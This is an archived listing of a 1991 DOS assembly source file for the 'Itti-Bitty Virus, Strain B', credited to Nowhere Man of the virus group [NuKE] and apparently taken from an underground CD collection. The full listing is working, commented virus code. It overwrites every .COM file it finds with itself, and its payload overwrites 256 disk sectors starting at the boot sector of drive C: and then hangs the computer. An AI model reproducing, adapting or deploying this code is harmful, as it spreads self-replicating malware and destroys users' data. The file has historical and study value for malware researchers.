home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / i / itti-b.asm < prev   
Encoding:
Assembly Source File  |  1998-01-14  |  2.8 KB  |  96 lines

  1. ; The Itti-Bitty Virus, Strain B
  2.  
  3. ; The smallest virus ever written (only 99 bytes)
  4.  
  5. ;
  6.  
  7. ; (C) 1991 Nowhere Man and [NuKE] WaErZ
  8.  
  9. ; Written by Nowhere Man
  10.  
  11. ;
  12.  
  13. ;
  14.  
  15.  
  16.  
  17.     title   "The Itti-Bitty Virus, Strain B:  Even smaller"
  18.  
  19.  
  20.  
  21.         code    segment 'CODE'
  22.  
  23.                 assume cs:code,ds:code,es:code,ss:code
  24.  
  25.  
  26.  
  27.                 org     0100h
  28.  
  29.  
  30.  
  31. code_length     equ     finish - start
  32.  
  33.  
  34.  
  35. start           label   near
  36.  
  37.                
  38.  
  39. id_bytes    proc    near
  40.  
  41.         mov    si,si                   ; Serves no purpose:  our ID
  42.  
  43. id_bytes    endp
  44.  
  45.  
  46.  
  47. main            proc    near
  48.  
  49.         mov     ah,04Eh            ; DOS find first file function
  50.  
  51.         mov     cx,00100111b        ; CX holds attribute mask
  52.  
  53.         mov     dx,offset com_spec    ; DX points to "*.COM"
  54.  
  55.  
  56.  
  57. file_loop:      int     021h
  58.  
  59.         jc      go_off            ; If there are no files, go off
  60.  
  61.  
  62.  
  63.         call    infect_file        ; Try to infect found file
  64.  
  65.         jne     exit_virus        ; Exit if successful
  66.  
  67.  
  68.  
  69.                 mov     ah,04Fh            ; DOS find next file function
  70.  
  71.         jmp    short file_loop        ; Repeat until out of files
  72.  
  73.  
  74.  
  75. exit_virus:     mov    ax,04C01h        ; DOS terminate function, code 1
  76.  
  77.         int     021h
  78.  
  79. main            endp
  80.  
  81.  
  82.  
  83. go_off          proc    near
  84.  
  85.         cli                ; Prevent all interrupts
  86.  
  87.  
  88.  
  89.         mov    ah,2            ; AH holds drive number (C:)
  90.  
  91.         cwd                             ; Start with sector 0 (boot sector)
  92.  
  93.         mov    cx,0100h        ; Write 256 sectors (fucks disk)
  94.  
  95.         int    026h            ; DOS absolute write interrupt
  96.  
  97.  
  98.  
  99.         jmp    $            ; Infinite loop; lock up computer
  100.  
  101. go_off          endp
  102.  
  103.  
  104.  
  105. infect_file     proc    near
  106.  
  107.         mov     ax,03D02h               ; DOS open file function, read-write
  108.  
  109.         mov    dx,09Eh            ; DX points to the victim
  110.  
  111.         int     021h
  112.  
  113.  
  114.  
  115.                 xchg    bx,ax                   ; BX holds file handle
  116.  
  117.  
  118.  
  119.         mov     ah,03Fh                 ; DOS read from file function
  120.  
  121.         mov     cx,2                    ; CX holds byte to read (2)
  122.  
  123.         mov     dx,offset buffer        ; DX points to buffer
  124.  
  125.         int     021h
  126.  
  127.  
  128.  
  129.         cmp    word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
  130.  
  131.         pushf                ; Save flags
  132.  
  133.         je      close_it_up        ; If not, then file is OK
  134.  
  135.  
  136.  
  137.         cwd                             ; Zero CX \_ Zero bytes from start
  138.  
  139.         mov    cx,dx            ; Zero DX /
  140.  
  141.         mov    ax,04200h        ; DOS file seek function, start
  142.  
  143.         int    021h
  144.  
  145.  
  146.  
  147.         mov     ah,040h                 ; DOS write to file function
  148.  
  149.         mov     cx,code_length          ; CX holds virus length
  150.  
  151.         mov     dx,offset start         ; DX points to start of virus
  152.  
  153.         int     021h
  154.  
  155.  
  156.  
  157. close_it_up:    mov     ah,03Eh                 ; DOS close file function
  158.  
  159.         int     021h
  160.  
  161.  
  162.  
  163.         popf                ; Restore flags
  164.  
  165.         ret                ; Return to caller
  166.  
  167.  
  168.  
  169. buffer          dw      ?            ; Buffer to hold test data
  170.  
  171. infect_file    endp
  172.  
  173.  
  174.  
  175.  
  176.  
  177. ; Initialized data goes here
  178.  
  179.  
  180.  
  181. com_spec        db      "*.COM",0        ; What to infect:  all COM files
  182.  
  183.  
  184.  
  185. finish          label   near
  186.  
  187.  
  188.  
  189. code            ends
  190.  
  191.         end    id_bytes